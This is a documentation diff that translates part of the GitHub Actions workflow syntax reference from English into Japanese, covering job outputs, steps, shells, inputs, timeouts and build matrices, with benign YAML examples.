-To use job outputs in a dependent job, you can use the `needs` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#needs-context)."
+依存するジョブでジョブの出力を使いたい場合には、`needs`コンテキストが利用できます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts#needs-context)」を参照してください。
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
 jobs:
   job1:
     runs-on: ubuntu-latest
-    # Map a step output to a job output
+    # ステップの出力をジョブの出力にマップする
     outputs:
       output1: ${{ steps.step1.outputs.test }}
       output2: ${{ steps.step2.outputs.test }}
@@ -625,11 +625,11 @@ jobs:
 
 ## `jobs.<job_id>.env`
 
-A `map` of environment variables that are available to all steps in the job. You can also set environment variables for the entire workflow or an individual step. For more information, see [`env`](#env) and [`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv).
+ジョブ中のすべてのステップから利用できる環境変数の`map`です。 ワークフロー全体あるいは個別のステップのための環境変数を設定することもできます。 詳しい情報については[`env`](#env)及び[`jobs.<job_id>.steps[*].env`](#jobsjob_idstepsenv)を参照してください。
 
 {% data reusables.repositories.actions-env-var-note %}
 
-### Example
+### サンプル
 
 ```yaml
 jobs:
@@ -640,19 +640,19 @@ jobs:
 
 ## `jobs.<job_id>.defaults`
 
-A `map` of default settings that will apply to all steps in the job. You can also set default settings for the entire workflow. For more information, see [`defaults`](#defaults).
+ジョブ中のすべてのステップに適用されるデフォルト設定の`map`。 ワークフロー全体に対してデフォルト設定を設定することもできます。 詳しい情報については[`defaults`](#defaults)を参照してください。
 
 {% data reusables.github-actions.defaults-override %}
 
 ## `jobs.<job_id>.defaults.run`
 
-Provide default `shell` and `working-directory` to all `run` steps in the job. Context and expression are not allowed in this section.
+ジョブ中のすべての`run`ステップにデフォルトの`shell`と`working-directory`を提供します。 このセクションではコンテキストと式は許されていません。
 
-You can provide default `shell` and `working-directory` options for all [`run`](#jobsjob_idstepsrun) steps in a job. You can also set default settings for `run` for the entire workflow. For more information, see [`jobs.defaults.run`](#defaultsrun). You cannot use contexts or expressions in this keyword.
+ジョブ中のすべての[`run`](#jobsjob_idstepsrun)ステップにデフォルトの`shell`及び`working-directory`を提供できます。 ワークフロー全体について`run`のためのデフォルト設定を設定することもできます。 詳しい情報については[`jobs.defaults.run`](#defaultsrun)を参照してください。 このキーワード中では、コンテキストや式を使うことはできません。
 
 {% data reusables.github-actions.defaults-override %}
 
-### Example
+### サンプル
 
 ```yaml
 jobs:
@@ -666,17 +666,17 @@ jobs:
 
 ## `jobs.<job_id>.if`
 
-You can use the `if` conditional to prevent a job from running unless a condition is met. You can use any supported context and expression to create a conditional.
+条件文の`if`を使って、条件が満たされなければジョブを実行しないようにできます。 条件文を作成するには、サポートされている任意のコンテキストや式が使えます。
 
 {% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
 ## `jobs.<job_id>.steps`
 
-A job contains a sequence of tasks called `steps`. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the runner environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. {% data variables.product.prodname_dotcom %} provides built-in steps to set up and complete a job.
+1つのジョブには、`steps` (ステップ) と呼ばれる一連のタスクがあります。 ステップでは、コマンドを実行する、設定タスクを実行する、あるいはリポジトリやパブリックリポジトリ、Dockerレジストリで公開されたアクションを実行することができます。 すべてのステップでアクションを実行するとは限りませんが、すべてのアクションはステップとして実行されます。 各ステップは、ランナー環境のそれ自体のプロセスで実行され、ワークスペースとファイルシステムにアクセスします。 ステップはそれ自体のプロセスで実行されるため、環境変数を変更しても、ステップ間では反映されません。 {% data variables.product.prodname_dotcom %}には、ジョブを設定して完了するステップが組み込まれています。
 
-You can run an unlimited number of steps as long as you are within the workflow usage limits. For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
+ワークフローの利用限度内であれば、実行するステップ数に限度はありません。 For more information, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -702,17 +702,17 @@ jobs:
 
 ## `jobs.<job_id>.steps[*].id`
 
-A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+ステップの一意の識別子。 `id`を使って、コンテキストのステップを参照することができます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts)」を参照してください。
 
 ## `jobs.<job_id>.steps[*].if`
 
-You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.
+条件文の`if`を使って、条件が満たされなければステップを実行しないようにできます。 条件文を作成するには、サポートされている任意のコンテキストや式が使えます。
 
 {% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
 ### Example: Using contexts
 
- This step only runs when the event type is a `pull_request` and the event action is `unassigned`.
+ このステップは、イベントの種類が`pull_request`でイベントアクションが`unassigned`の場合にのみ実行されます。
 
  ```yaml
 steps:
@@ -723,7 +723,7 @@ steps:
 
 ### Example: Using status check functions
 
-The `my backup step` only runs when the previous step of a job fails. For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
+`my backup step`は、ジョブの前のステップが失敗した場合にのみ実行されます。 For more information, see "[Expressions](/actions/learn-github-actions/expressions#job-status-check-functions)."
 
 ```yaml
 steps:
@@ -736,20 +736,20 @@ steps:
 
 ## `jobs.<job_id>.steps[*].name`
 
-A name for your step to display on {% data variables.product.prodname_dotcom %}.
+{% data variables.product.prodname_dotcom %}で表示されるステップの名前。
 
 ## `jobs.<job_id>.steps[*].uses`
 
-Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
+ジョブでステップの一部として実行されるアクションを選択します。 アクションとは、再利用可能なコードの単位です。 ワークフロー、パブリックリポジトリ、または[公開されているDockerコンテナイメージ](https://hub.docker.com/)と同じリポジトリで定義されているアクションを使用できます。
 
-We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
-- Using the commit SHA of a released action version is the safest for stability and security.
-- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.
-- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
+Git ref、SHA、またはDockerタグ番号を指定して、使用しているアクションのバージョンを含めることを強く推奨します。 バージョンを指定しないと、アクションのオーナーがアップデートを公開したときに、ワークフローが中断したり、予期せぬ動作をしたりすることがあります。
+- リリースされたアクションバージョンのコミットSHAを使用するのが、安定性とセキュリティのうえで最も安全です。
+- 特定のメジャーアクションバージョンを使用すると、互換性を維持したまま重要な修正とセキュリティパッチを受け取ることができます。 ワークフローが引き続き動作することも保証できます。
+- アクションのデフォルトブランチを使用すると便利なこともありますが、別のユーザが破壊的変更を加えた新しいメジャーバージョンをリリースすると、ワークフローが動作しなくなる場合があります。
 
-Some actions require inputs that you must set using the [`with`](#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
+入力が必要なアクションもあり、入力を[`with`](#jobsjob_idstepswith)キーワードを使って設定する必要があります。 必要な入力を判断するには、アクションのREADMEファイルをお読みください。
 
-Actions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux environment. For more details, see [`runs-on`](#jobsjob_idruns-on).
+アクションは、JavaScriptのファイルもしくはDockerコンテナです。 使用するアクションがDockerコンテナの場合は、Linux環境で実行する必要があります。 詳細については[`runs-on`](#jobsjob_idruns-on)を参照してください。
 
 ### Example: Using versioned actions
 
@@ -787,7 +787,7 @@ jobs:
 
 `{owner}/{repo}/{path}@{ref}`
 
-A subdirectory in a public {% data variables.product.prodname_dotcom %} repository at a specific branch, ref, or SHA.
+パブリック{% data variables.product.prodname_dotcom %}リポジトリで特定のブランチ、ref、SHAにあるサブディレクトリ。
 
 ```yaml
 jobs:
@@ -801,7 +801,7 @@ jobs:
 
 `./path/to/dir`
 
-The path to the directory that contains the action in your workflow's repository. You must check out your repository before using the action.
+ワークフローのリポジトリにあるアクションを含むディレクトリのパス。 アクションを使用する前にリポジトリをチェックアウトする必要があります。
 
 ```yaml
 jobs:
@@ -817,7 +817,7 @@ jobs:
 
 `docker://{image}:{tag}`
 
-A Docker image published on [Docker Hub](https://hub.docker.com/).
+[Docker Hub](https://hub.docker.com/)で公開されているDockerイメージ。
 
 ```yaml
 jobs:
@@ -832,7 +832,7 @@ jobs:
 
 `docker://{host}/{image}:{tag}`
 
-A Docker image in the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %}.
+{% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} の Docker イメージ
 
 ```yaml
 jobs:
@@ -846,7 +846,7 @@ jobs:
 
 `docker://{host}/{image}:{tag}`
 
-A Docker image in a public registry. This example uses the Google Container Registry at `gcr.io`.
+パブリックレジストリのDockerイメージ。 この例では、`gcr.io` にある Google Container Registry を使用しています。
 
 ```yaml
 jobs:
@@ -858,9 +858,9 @@ jobs:
 
 ### Example: Using an action inside a different private repository than the workflow
 
-Your workflow must checkout the private repository and reference the action locally. Generate a personal access token and add the token as an encrypted secret. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+ワークフローはプライベートリポジトリをチェックアウトし、アクションをローカルで参照する必要があります。 個人アクセストークンを生成し、暗号化されたシークレットとしてトークンを追加します。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」および「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」を参照してください。
 
-Replace `PERSONAL_ACCESS_TOKEN` in the example with the name of your secret.
+例にある `PERSONAL_ACCESS_TOKEN` をシークレットの名前に置き換えます。
 
 {% raw %}
 ```yaml
@@ -881,20 +881,20 @@ jobs:
 
 ## `jobs.<job_id>.steps[*].run`
 
-Runs command-line programs using the operating system's shell. If you do not provide a `name`, the step name will default to the text specified in the `run` command.
+オペレーティングシステムのシェルを使用してコマンドラインプログラムを実行します。 `name`を指定しない場合、ステップ名はデフォルトで`run`コマンドで指定された文字列になります。
 
-Commands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see [`jobs.<job_id>.steps[*].shell`](#jobsjob_idstepsshell).
+コマンドは、デフォルトでは非ログインシェルを使用して実行されます。 別のシェルを選択して、コマンドを実行するシェルをカスタマイズできます。 For more information, see [`jobs.<job_id>.steps[*].shell`](#jobsjob_idstepsshell).
 
-Each `run` keyword represents a new process and shell in the runner environment. When you provide multi-line commands, each line runs in the same shell. For example:
+`run`キーワードは、それぞれがランナー環境での新しいプロセスとシェルです。 複数行のコマンドを指定すると、各行が同じシェルで実行されます。 例:
 
-* A single-line command:
+* 1行のコマンド：
 
   ```yaml
   - name: Install Dependencies
     run: npm install
   ```
 
-* A multi-line command:
+* 複数行のコマンド：
 
   ```yaml
   - name: Clean install dependencies and build
@@ -903,7 +903,7 @@ Each `run` keyword represents a new process and shell in the runner environment.
       npm run build
   ```
 
-Using the `working-directory` keyword, you can specify the working directory of where to run the command.
+`working-directory`キーワードを使えば、コマンドが実行されるワーキングディレクトリを指定できます。
 
 ```yaml
 - name: Clean temp directory
@@ -913,17 +913,17 @@ Using the `working-directory` keyword, you can specify the working directory of
 
 ## `jobs.<job_id>.steps[*].shell`
 
-You can override the default shell settings in the runner's operating system using the `shell` keyword. You can use built-in `shell` keywords, or you can define a custom set of shell options. The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword.
+`shell`キーワードを使用して、ランナーのオペレーティングシステムのデフォルトシェルを上書きできます。 組み込みの`shell`キーワードを使用するか、カスタムセットのシェルオプションを定義することができます。 The shell command that is run internally executes a temporary file that contains the commands specified in the `run` keyword.
 
-| Supported platform | `shell` parameter | Description | Command run internally |
-|--------------------|-------------------|-------------|------------------------|
-| All | `bash` | The default shell on non-Windows platforms with a fallback to `sh`. When specifying a bash shell on Windows, the bash shell included with Git for Windows is used. | `bash --noprofile --norc -eo pipefail {0}` |
-| All | `pwsh` | The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `pwsh -command ". '{0}'"` |
-| All | `python` | Executes the python command. | `python {0}` |
-| Linux / macOS | `sh` | The fallback behavior for non-Windows platforms if no shell is provided and `bash` is not found in the path. | `sh -e {0}` |
-| Windows | `cmd` | {% data variables.product.prodname_dotcom %} appends the extension `.cmd` to your script name and substitutes for `{0}`. | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. |
-| Windows | `pwsh` | This is the default shell used on Windows. The PowerShell Core. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. If your self-hosted Windows runner does not have _PowerShell Core_ installed, then _PowerShell Desktop_ is used instead.| `pwsh -command ". '{0}'"`. |
-| Windows | `powershell` | The PowerShell Desktop. {% data variables.product.prodname_dotcom %} appends the extension `.ps1` to your script name. | `powershell -command ". '{0}'"`. |
+| サポートされているプラットフォーム | `shell` パラメータ | 説明                                                                                                                                                                                                        | 内部で実行されるコマンド                                    |
+| ----------------- | ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------- |
+| すべて               | `bash`        | 非Windowsプラットフォームのデフォルトシェルで、`sh`へのフォールバックがあります。 Windowsでbashシェルを指定すると、Windows用Gitに含まれるbashシェルが使用されます。                                                                                                      | `bash --noprofile --norc -eo pipefail {0}`      |
+| すべて               | `pwsh`        | PowerShell Coreです。 {% data variables.product.prodname_dotcom %}はスクリプト名に拡張子`.ps1`を追加します。                                                                                                                   | `pwsh -command ". '{0}'"`                       |
+| すべて               | `python`      | Pythonのコマンドを実行します。                                                                                                                                                                                        | `python {0}`                                    |
+| Linux / macOS     | `sh`          | 非Windowsプラットフォームにおいてシェルが提供されておらず、パス上で`bash`が見つからなかった場合のフォールバック動作です。                                                                                                                                       | `sh -e {0}`                                     |
+| Windows           | `cmd`         | {% data variables.product.prodname_dotcom %}はスクリプト名に拡張子`.cmd`を追加し、`{0}`を置き換えます。                                                                                                                           | `%ComSpec% /D /E:ON /V:OFF /S /C "CALL "{0}""`. |
+| Windows           | `pwsh`        | これはWindowsで使われるデフォルトのシェルです。 PowerShell Coreです。 {% data variables.product.prodname_dotcom %}はスクリプト名に拡張子`.ps1`を追加します。 セルフホストのWindowsランナーに_PowerShell Core_がインストールされていない場合、その代わりに_PowerShell Desktop_が使われます。 | `pwsh -command ". '{0}'"`.                      |
+| Windows           | `powershell`  | PowerShell Desktop. {% data variables.product.prodname_dotcom %}はスクリプト名に拡張子`.ps1`を追加します。                                                                                                                  | `powershell -command ". '{0}'"`.                |
 
 ### Example: Running a script using bash
 
@@ -952,7 +952,7 @@ steps:
     shell: pwsh
 ```
 
-### Example: Using PowerShell Desktop to run a script
+### PowerShell Desktopを使用してスクリプトを実行する例
 
 ```yaml
 steps:
@@ -972,11 +972,11 @@ steps:
     shell: python
 ```
 
-### Custom shell
+### カスタムシェル
 
-You can set the `shell` value to a template string using `command […options] {0} [..more_options]`. {% data variables.product.prodname_dotcom %} interprets the first whitespace-delimited word of the string as the command, and inserts the file name for the temporary script at `{0}`.
+`command […options] {0} [..more_options]`を使用すると、テンプレート文字列に`shell`値を設定できます。 {% data variables.product.prodname_dotcom %}は、空白区切りで最初の文字列をコマンドとして解釈し、`{0}`にある一時的なスクリプトのファイル名を挿入します。
 
-For example:
+例:
 
 ```yaml
 steps:
@@ -986,39 +986,39 @@ steps:
     shell: perl {0}
 ```
 
-The command used, `perl` in this example, must be installed on the runner.
+使われるコマンドは（この例では`perl`）は、ランナーにインストールされていなければなりません。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% elsif fpt or ghec %}
-For information about the software included on GitHub-hosted runners, see "[Specifications for GitHub-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
+GitHubホストランナーに含まれるソフトウェアに関する情報については「[GitHubホストランナーの仕様](/actions/reference/specifications-for-github-hosted-runners#supported-software)」を参照してください。
 {% endif %}
 
-### Exit codes and error action preference
+### 終了コードとエラーアクションの環境設定
 
-For built-in shell keywords, we provide the following defaults that are executed by {% data variables.product.prodname_dotcom %}-hosted runners. You should use these guidelines when running shell scripts.
+組み込みのshellキーワードについては、{% data variables.product.prodname_dotcom %}がホストする実行環境で以下のデフォルトが提供されます。 シェルスクリプトを実行する際には、以下のガイドラインを使ってください。
 
 - `bash`/`sh`:
-  - Fail-fast behavior using `set -eo pipefail`: Default for `bash` and built-in `shell`. It is also the default when you don't provide an option on non-Windows platforms.
-  - You can opt out of fail-fast and take full control by providing a template string to the shell options. For example, `bash {0}`.
-  - sh-like shells exit with the exit code of the last command executed in a script, which is also the default behavior for actions. The runner will report the status of the step as fail/succeed based on this exit code.
+  - `set -eo pipefail`を使用したフェイルファースト動作 : `bash`及び組み込みの`shell`のデフォルト。 Windows以外のプラットフォームでオプションを指定しない場合のデフォルトでもあります。
+  - フェイルファーストをオプトアウトし、シェルのオプションにテンプレート文字列を指定して完全に制御することもできます。 たとえば、`bash {0}`とします。
+  - shライクのシェルは、スクリプトで実行された最後のコマンドの終了コードで終了します。これが、アクションのデフォルトの動作でもあります。 runnerは、この終了コードに基づいてステップのステータスを失敗/成功としてレポートします。
 
 - `powershell`/`pwsh`
-  - Fail-fast behavior when possible. For `pwsh` and `powershell` built-in shell, we will prepend `$ErrorActionPreference = 'stop'` to script contents.
-  - We append `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }` to powershell scripts so action statuses reflect the script's last exit code.
-  - Users can always opt out by not using the built-in shell, and providing a custom shell option like: `pwsh -File {0}`, or `powershell -Command "& '{0}'"`, depending on need.
+  - 可能な場合のフェイルファースト動作。 `pwsh`および`powershell`の組み込みシェルの場合は、スクリプトの内容の前に`$ErrorActionPreference = 'stop'` が付加されます。
+  - アクションステータスがスクリプトの最後の終了コードを反映するように、PowerShellスクリプトに`if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }`を付加します。
+  - 必要な場合には、組み込みシェルを使用せずに、`pwsh -File {0}`や`powershell -Command "& '{0}'"`などのカスタムシェルを指定すれば、いつでもオプトアウトすることができます。
 
 - `cmd`
-  - There doesn't seem to be a way to fully opt into fail-fast behavior other than writing your script to check each error code and respond accordingly. Because we can't actually provide that behavior by default, you need to write this behavior into your script.
-  - `cmd.exe` will exit with the error level of the last program it executed, and it will return the error code to the runner. This behavior is internally consistent with the previous `sh` and `pwsh` default behavior and is the `cmd.exe` default, so this behavior remains intact.
+  - 各エラーコードをチェックしてそれぞれに対応するスクリプトを書く以外、フェイルファースト動作を完全にオプトインする方法はないようです。 デフォルトでその動作を指定することはできないため、この動作はスクリプトに記述する必要があります。
+  - `cmd.exe`は、実行した最後のプログラムのエラーレベルで終了し、runnerにそのエラーコードを返します。 この動作は、これ以前の`sh`および`pwsh`のデフォルト動作と内部的に一貫しており、`cmd.exe`のデフォルトなので、この動作には影響しません。
 
 ## `jobs.<job_id>.steps[*].with`
 
-A `map` of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with `INPUT_` and converted to upper case.
+アクションによって定義される入力パラメータの`map`。 各入力パラメータはキー/値ペアです。 入力パラメータは環境変数として設定されます。 変数の前には`INPUT_`が付けられ、大文字に変換されます。
 
-### Example
+### サンプル
 
-Defines the three input parameters (`first_name`, `middle_name`, and `last_name`) defined by the `hello_world` action. These input variables will be accessible to the `hello-world` action as `INPUT_FIRST_NAME`, `INPUT_MIDDLE_NAME`, and `INPUT_LAST_NAME` environment variables.
+`hello_world`アクションで定義される3つの入力パラメータ (`first_name`、`middle_name`、`last_name`) を定義します。 `hello-world`アクションからは、これらの入力変数は`INPUT_FIRST_NAME`、`INPUT_MIDDLE_NAME`、`INPUT_LAST_NAME`という環境変数としてアクセスできます。
 
 ```yaml
 jobs:
@@ -1034,9 +1034,9 @@ jobs:
 
 ## `jobs.<job_id>.steps[*].with.args`
 
-A `string` that defines the inputs for a Docker container. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up. An `array of strings` is not supported by this parameter.
+Dockerコンテナへの入力を定義する`文字列`。 {% data variables.product.prodname_dotcom %}は、コンテナの起動時に`args`をコンテナの`ENTRYPOINT`に渡します。 このパラメータは、`文字列の配列`をサポートしません。
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -1049,17 +1049,17 @@ steps:
 ```
 {% endraw %}
 
-The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
+`args`は、`Dockerfile`中の`CMD`命令の場所で使われます。 `Dockerfile`中で`CMD`を使うなら、以下の優先順位順のガイドラインを利用してください。
 
-1. Document required arguments in the action's README and omit them from the `CMD` instruction.
-1. Use defaults that allow using the action without specifying any `args`.
-1. If the action exposes a `--help` flag, or something similar, use that as the default to make your action self-documenting.
+1. 必須の引数をアクションのREADME中でドキュメント化し、`CMD`命令から除外してください。
+1. `args`を指定せずにアクションを利用できるよう、デフォルトを使ってください。
+1. アクションが`--help`フラグやそれに類するものを備えている場合は、アクションを自己ドキュメント化するためのデフォルトとして利用してください。
 
 ## `jobs.<job_id>.steps[*].with.entrypoint`
 
-Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Unlike the Docker `ENTRYPOINT` instruction which has a shell and exec form, `entrypoint` keyword accepts only a single string defining the executable to be run.
+`Dockerfile`中のDockerの`ENTRYPOINT`をオーバーライドします。あるいは、もしそれが指定されていなかった場合に設定します。 shellやexec形式を持つDockerの`ENTRYPOINT`命令とは異なり、`entrypoint`キーワードは実行する実行可能ファイルを定義する単一の文字列だけを受け付けます。
 
-### Example
+### サンプル
 
 ```yaml
 steps:
@@ -1069,17 +1069,17 @@ steps:
       entrypoint: /a/different/executable
 ```
 
-The `entrypoint` keyword is meant to be used with Docker container actions, but you can also use it with JavaScript actions that don't define any inputs.
+`entrypoint`キーワードはDockerコンテナアクションで使われることを意図したものですが、入力を定義しないJavaScriptのアクションでも使うことができます。
 
 ## `jobs.<job_id>.steps[*].env`
 
-Sets environment variables for steps to use in the runner environment. You can also set environment variables for the entire workflow or a job. For more information, see [`env`](#env) and [`jobs.<job_id>.env`](#jobsjob_idenv).
+ランナー環境でステップが使う環境変数を設定します。 ワークフロー全体あるいはジョブのための環境変数を設定することもできます。 詳しい情報については「[`env`](#env)」及び「[`jobs.<job_id>.env`](#jobsjob_idenv)」を参照してください。
 
 {% data reusables.repositories.actions-env-var-note %}
 
-Public actions may specify expected environment variables in the README file. If you are setting a secret in an environment variable, you must set secrets using the `secrets` context. For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)."
+パブリックなアクションは、READMEファイル中で期待する環境変数を指定できます。 環境変数に秘密情報を設定しようとしている場合、秘密情報は`secrets`コンテキストを使って設定しなければなりません。 For more information, see "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" and "[Contexts](/actions/learn-github-actions/contexts)."
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -1094,37 +1094,37 @@ steps:
 
 ## `jobs.<job_id>.steps[*].continue-on-error`
 
-Prevents a job from failing when a step fails. Set to `true` to allow a job to pass when this step fails.
+ステップが失敗してもジョブが失敗にならないようにします。 `true`に設定すれば、このステップが失敗した場合にジョブが次へ進めるようになります。
 
 ## `jobs.<job_id>.steps[*].timeout-minutes`
 
-The maximum number of minutes to run the step before killing the process.
+プロセスがkillされるまでにステップが実行できる最大の分数。
 
 ## `jobs.<job_id>.timeout-minutes`
 
-The maximum number of minutes to let a job run before {% data variables.product.prodname_dotcom %} automatically cancels it. Default: 360
+{% data variables.product.prodname_dotcom %}で自動的にキャンセルされるまでジョブを実行する最長時間 (分)。 デフォルト: 360
 
 If the timeout exceeds the job execution time limit for the runner, the job will be canceled when the execution time limit is met instead. For more information about job execution time limits, see {% ifversion fpt or ghec or ghes %}"[Usage limits and billing](/actions/reference/usage-limits-billing-and-administration#usage-limits)" for {% data variables.product.prodname_dotcom %}-hosted runners and {% endif %}"[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}" for self-hosted runner usage limits.{% elsif ghae %}."{% endif %}
 
 ## `jobs.<job_id>.strategy`
 
-A strategy creates a build matrix for your jobs. You can define different variations to run each job in.
+Strategy (戦略) によって、ジョブのビルドマトリクスが作成されます。 それぞれのジョブを実行する様々なバリエーションを定義できます。
 
 ## `jobs.<job_id>.strategy.matrix`
 
-You can define a matrix of different job configurations. A matrix allows you to create multiple jobs by performing variable substitution in a single job definition. For example, you can use a matrix to create jobs for more than one supported version of a programming language, operating system, or tool. A matrix reuses the job's configuration and creates a job for each matrix you configure.
+様々なジョブの設定のマトリックスを定義できます。 マトリックスによって、単一のジョブの定義内の変数の置き換えを行い、複数のジョブを作成できるようになります。 たとえば、マトリックスを使って複数のサポートされているバージョンのプログラミング言語、オペレーティングシステム、ツールに対するジョブを作成できます。 マトリックスは、ジョブの設定を再利用し、設定した各マトリクスに対してジョブを作成します。
 
 {% data reusables.github-actions.usage-matrix-limits %}
 
-Each option you define in the `matrix` has a key and value. The keys you define become properties in the `matrix` context and you can reference the property in other areas of your workflow file. For example, if you define the key `os` that contains an array of operating systems, you can use the `matrix.os` property as the value of the `runs-on` keyword to create a job for each operating system. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+`matrix`内で定義した各オプションは、キーと値を持ちます。 定義したキーは`matrix`コンテキスト中の属性となり、ワークフローファイルの他のエリア内のプロパティを参照できます。 たとえば、オペレーティングシステムの配列を含む`os`というキーを定義したなら、`matrix.os`属性を`runs-on`キーワードの値として使い、それぞれのオペレーティングシステムに対するジョブを作成できます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts)」を参照してください。
 
-The order that you define a `matrix` matters. The first option you define will be the first job that runs in your workflow.
+`matrix`を定義する順序は意味を持ちます。 最初に定義したオプションは、ワークフロー中で最初に実行されるジョブになります。
 
 ### Example: Running multiple versions of Node.js
 
-You can specify a matrix by supplying an array for the configuration options. For example, if the runner supports Node.js versions 10, 12, and 14, you could specify an array of those versions in the `matrix`.
+設定オプションに配列を指定すると、マトリクスを指定できます。 For example, if the runner supports Node.js versions 10, 12, and 14, you could specify an array of those versions in the `matrix`.
 
-This example creates a matrix of three jobs by setting the `node` key to an array of three Node.js versions. To use the matrix, the example sets the `matrix.node` context property as the value of the `setup-node` action's input parameter `node-version`. As a result, three jobs will run, each using a different Node.js version.
+この例では、`node`キーにNode.jsの3つのバージョンの配列を設定することによって、3つのジョブのマトリクスを作成します。 このマトリックスを使用するために、この例では`matrix.node`コンテキスト属性を`setup-node`アクションの入力パラメータである`node-version`に設定しています。 その結果、3 つのジョブが実行され、それぞれが異なるバージョンのNode.js を使用します。
 
 {% raw %}
 ```yaml
@@ -1132,7 +1132,7 @@ strategy:
   matrix:
     node: [10, 12, 14]
 steps:
-  # Configures the node version used on GitHub-hosted runners
+  # GitHub でホストされているランナーで使用されるノードバージョンを設定する
   - uses: actions/setup-node@v2
     with:
       # The Node.js version to configure
@@ -1140,14 +1140,14 @@ steps:
 ```
 {% endraw %}
 
-The `setup-node` action is the recommended way to configure a Node.js version when using {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see the [`setup-node`](https://github.com/actions/setup-node) action.
+{% data variables.product.prodname_dotcom %}ホストランナーを使う場合にNode.jsのバージョンを設定する方法としては、`setup-node`アクションをおすすめします。 詳しい情報については[`setup-node`](https://github.com/actions/setup-node)アクションを参照してください。
 
 ### Example: Running with multiple operating systems
 
-You can create a matrix to run workflows on more than one runner operating system. You can also specify more than one matrix configuration. This example creates a matrix of 6 jobs:
+複数のランナーオペレーティングシステムでワークフローを実行するマトリックスを作成できます。 複数のマトリックス設定を指定することもできます。 この例では、6つのジョブのマトリックスを作成します。
 
-- 2 operating systems specified in the `os` array
-- 3 Node.js versions specified in the `node` array
+- 配列`os`で指定された2つのオペレーティングシステム
+- 配列`node`で指定された3つのバージョンのNode.js
 
 {% data reusables.repositories.actions-matrix-builds-os %}
 
@@ -1167,12 +1167,12 @@ steps:
 
 {% ifversion ghae %}
 For more information about the configuration of self-hosted runners, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
-{% else %}To find supported configuration options for {% data variables.product.prodname_dotcom %}-hosted runners, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)."
+{% else %}{% data variables.product.prodname_dotcom %} ホストランナーでサポートされている設定オプションについては、「[{% data variables.product.prodname_dotcom %} の仮想環境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)」を参照してください。
 {% endif %}
 
